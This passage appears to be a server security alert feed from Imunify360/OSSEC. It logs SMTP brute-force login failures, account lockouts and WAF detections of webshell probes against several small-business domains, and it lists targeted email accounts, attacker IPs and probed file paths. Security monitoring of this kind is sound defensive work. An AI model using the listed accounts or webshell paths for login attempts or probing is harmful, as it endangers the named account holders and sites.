abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:44:47 dovecot_login authenticator failed for H=(uj1UN7o) [158.94.208.215]:56055: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:44:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:44:10 dovecot_login authenticator failed for H=(LxlOLQ03) [178.16.54.138]:56802: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 22:44:28 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:37431: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-01-31 22:45:32 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:56745: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.35.130
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product-detail.php?id=6672338432 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.169.120.37
country_id: 1668284
description:
2026-01-31 22:45:52 dovecot_login authenticator failed for H=([192.169.120.37]) [192.169.120.37]:45977: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:45:02 dovecot_login authenticator failed for H=(rejVCmlE9) [178.16.54.138]:55834: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 22:45:07 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:50030: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 22:45:23 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:44022: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.102
country_id: 1269750
description:
2026-01-31 22:45:16 dovecot_login authenticator failed for H=([27.123.104.102]) [27.123.104.102]:33348: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 22:45:56 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:48963: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.255.195
country_id: 1269750
description:
2026-01-31 22:45:02 dovecot_login authenticator failed for H=([103.176.255.195]) [103.176.255.195]:60818: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:45:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:45:11 dovecot_login authenticator failed for H=(t6Kcm8R) [158.94.208.215]:64144: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.146.240.123
country_id: 2542007
description:
2026-01-31 22:46:42 dovecot_login authenticator failed for H=([154.146.240.123]) [154.146.240.123]:35122: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.13.139.61
country_id: 2510769
description:
2026-01-31 22:46:54 dovecot_login authenticator failed for H=61.red-88-13-139.dynamicip.rima-tde.net [88.13.139.61]:46686: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.88.85.202
country_id: 1168579
description:
2026-01-31 22:46:29 dovecot_plain authenticator failed for H=(8HRKD1AKEBBNP) [111.88.85.202]:60075: 535 Incorrect authentication data (set_id=kelveen@tst-ma.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:46:23 dovecot_login authenticator failed for H=(a3m8U7Nwo) [158.94.208.215]:55931: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.171.135.254
country_id: 1814991
description:
2026-01-31 22:46:33 dovecot_login authenticator failed for H=([60.171.135.254]) [60.171.135.254]:39696: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.129.15.16
country_id: 1210997
description:
2026-01-31 22:46:53 dovecot_plain authenticator failed for H=(8N8LN255TCKTWN) [114.129.15.16]:57640: 535 Incorrect authentication data (set_id=kw.chee@nmahir.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.128.15.132
country_id: 1814991
description:
2026-01-31 22:46:54 dovecot_login authenticator failed for H=([222.128.15.132]) [222.128.15.132]:36084: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:46:02 dovecot_login authenticator failed for H=(L3IXT3xBhO) [178.16.54.138]:57967: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-01-31 22:47:25 dovecot_login authenticator failed for H=([167.250.118.3]) [167.250.118.3]:34478: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:47:36 dovecot_login authenticator failed for H=(Xy2b44) [178.16.54.138]:50619: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.164.76
country_id: 2661886
description:
2026-01-31 22:47:32 dovecot_login authenticator failed for H=ip076.net-81-16-164.koping.net [81.16.164.76]:38670: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:47:11 dovecot_login authenticator failed for H=(q7tr4Ex) [158.94.208.215]:65473: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:48:14 dovecot_login authenticator failed for H=(iLbnRAT) [178.16.54.138]:57013: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:48:23 dovecot_login authenticator failed for H=(Gbz60mYQ) [158.94.208.215]:63073: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 22:48:24 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:47588: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:48:45 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 22:48:53 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:33893: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:48:57 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49650: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-31 22:49:00 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:42634: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-31 22:49:25 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:40431: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.78.227.1
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/Thumbs.db||User:cofrethcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:49:30 dovecot_login authenticator failed for H=(KUEjAXObfi) [178.16.54.138]:63192: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.238.92.245
country_id: 2623032
description:
2026-01-31 22:49:42 dovecot_login authenticator failed for H=([84.238.92.245]) [84.238.92.245]:57616: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:49:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:49:10 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:54132: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:49:11 dovecot_login authenticator failed for H=(I89HVCbRX5) [158.94.208.215]:58549: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.141.143.58
country_id: 1835841
description:
2026-01-31 22:49:57 dovecot_login authenticator failed for H=([115.141.143.58]) [115.141.143.58]:55227: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.175
country_id: 3865483
description:
2026-01-31 22:49:39 dovecot_login authenticator failed for H=(red.170.233.29.175.ssservicios.com.ar) [170.233.29.175]:37015: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-01-31 22:49:49 dovecot_login authenticator failed for H=42-200-73-3.static.imsbiz.com [42.200.73.3]:43988: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-01-31 22:50:56 dovecot_login authenticator failed for H=([120.234.232.184]) [120.234.232.184]:36854: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-31 22:50:33 dovecot_login authenticator failed for H=(axcpken) [107.173.177.133]:60522: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:50:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56316: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:50:23 dovecot_login authenticator failed for H=(2pU9fpXpc) [158.94.208.215]:58578: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:50:08 dovecot_login authenticator failed for H=(0nO9PM) [178.16.54.138]:58441: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.164.93.136
country_id: 6252001
description:
2026-01-31 22:50:34 dovecot_login authenticator failed for H=(syn-024-164-093-136.res.spectrum.com) [24.164.93.136]:33047: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:50:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:64878: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-31 22:50:10 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:38592: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:50:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:51:23 dovecot_login authenticator failed for H=(SZ9z3SE) [178.16.54.138]:56582: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.92.249
country_id: 1168579
description:
2026-01-31 22:51:27 dovecot_login authenticator failed for H=(249.92.zcomnetworks.com.pk) [103.148.92.249]:38146: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:51:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-01-31 22:51:34 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [98.122.215.23]:36036: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.214.247
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=13531518079314 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:51:11 dovecot_login authenticator failed for H=(YRSPG1) [158.94.208.215]:58015: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 22:51:31 H=([64.89.160.15]) [64.89.160.15]:64241 F=<essenas@outlook.com> rejected RCPT <tst@tst-ma.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:52:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:52:39 dovecot_login authenticator failed for H=(vOJMVS) [178.16.54.138]:52206: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:52:23 dovecot_login authenticator failed for H=(N3hYRBqI) [158.94.208.215]:53174: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:53:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:53:11 dovecot_login authenticator failed for H=(bHgyYFv1) [158.94.208.215]:60232: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:53:17 dovecot_login authenticator failed for H=(1ACA2oK) [178.16.54.138]:60791: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:53:44 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62926: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:54:09 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:57937: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:54:50 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63942: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:54:34 dovecot_login authenticator failed for H=(EaYCDfrNz8) [178.16.54.138]:59163: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/afsb/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-31 22:54:07 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35528: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 22:54:32 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:62972: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 22:54:44 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:57870: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-31 22:54:49 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:36651: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:54:23 dovecot_login authenticator failed for H=(AERvTpb8HC) [158.94.208.215]:60242: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.213
country_id: 1269750
description:
2026-01-31 22:55:49 dovecot_login authenticator failed for H=([122.187.230.213]) [122.187.230.213]:43878: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:55:12 dovecot_login authenticator failed for H=(51Cob1OrLe) [178.16.54.138]:52098: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:55:07 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61107: 535 Incorrect authentication data (set_id=test@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:55:11 dovecot_login authenticator failed for H=(0goh4qnphR) [158.94.208.215]:58297: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-31 22:56:22 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:59508: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: printspecsolution.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/printspecsolutio/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:56:27 dovecot_login authenticator failed for H=(o0yCKs3xko) [178.16.54.138]:57091: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.46.144
country_id: 1819730
description:
2026-01-31 22:56:21 dovecot_login authenticator failed for H=144.46.246.220.static.netvigator.com [220.246.46.144]:56606: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-31 22:56:29 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:55897: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.244.46
country_id: 1269750
description:
2026-01-31 22:56:35 dovecot_login authenticator failed for H=([182.79.95.231]) [152.52.244.46]:33192: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
country_id: 2963597
domain: af-sb.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/afsb/public_html/wp-admin/images/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 4.193.194.148
country_id: 1880251
domain: printspecsolution.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/printspecsolutio/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:56:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63998: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-01-31 22:56:13 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:49394: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:56:23 dovecot_login authenticator failed for H=(d2k2guuNo) [158.94.208.215]:53182: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.146.91.181
country_id: 1814991
description:
2026-01-31 22:56:16 dovecot_login authenticator failed for H=([119.146.91.181]) [119.146.91.181]:62628: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-31 22:57:08 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:43452: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:57:11 dovecot_login authenticator failed for H=(lZEVpiD) [158.94.208.215]:53156: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:57:33 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 22:57:43 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:39852: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:57:06 dovecot_login authenticator failed for H=(xPrbF6q) [178.16.54.138]:60075: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-01-31 22:58:21 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:23987: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-01-31 22:58:29 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:55336: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:58:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:58:20 dovecot_login authenticator failed for H=(UAJKKfW) [178.16.54.138]:61359: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:58:23 dovecot_login authenticator failed for H=(KDavOKP) [158.94.208.215]:51736: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:59:35 dovecot_login authenticator failed for H=(uVELglR3jD) [178.16.54.138]:64402: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-01-31 22:59:49 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:43272: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.85.69.22
country_id: 2017370
description:
2026-01-31 22:59:28 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [194.85.69.22]:55336: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.21.162.242
country_id: 1835841
description:
2026-01-31 22:59:43 dovecot_login authenticator failed for H=([59.21.162.242]) [59.21.162.242]:37418: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 22:59:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 22:59:11 dovecot_login authenticator failed for H=(U368eyQG) [158.94.208.215]:54653: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:00:12 dovecot_login authenticator failed for H=(obPY88) [178.16.54.138]:50738: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:00:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.178
country_id: 1269750
description:
2026-01-31 23:00:47 dovecot_login authenticator failed for H=([182.95.222.178]) [182.95.222.178]:44152: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
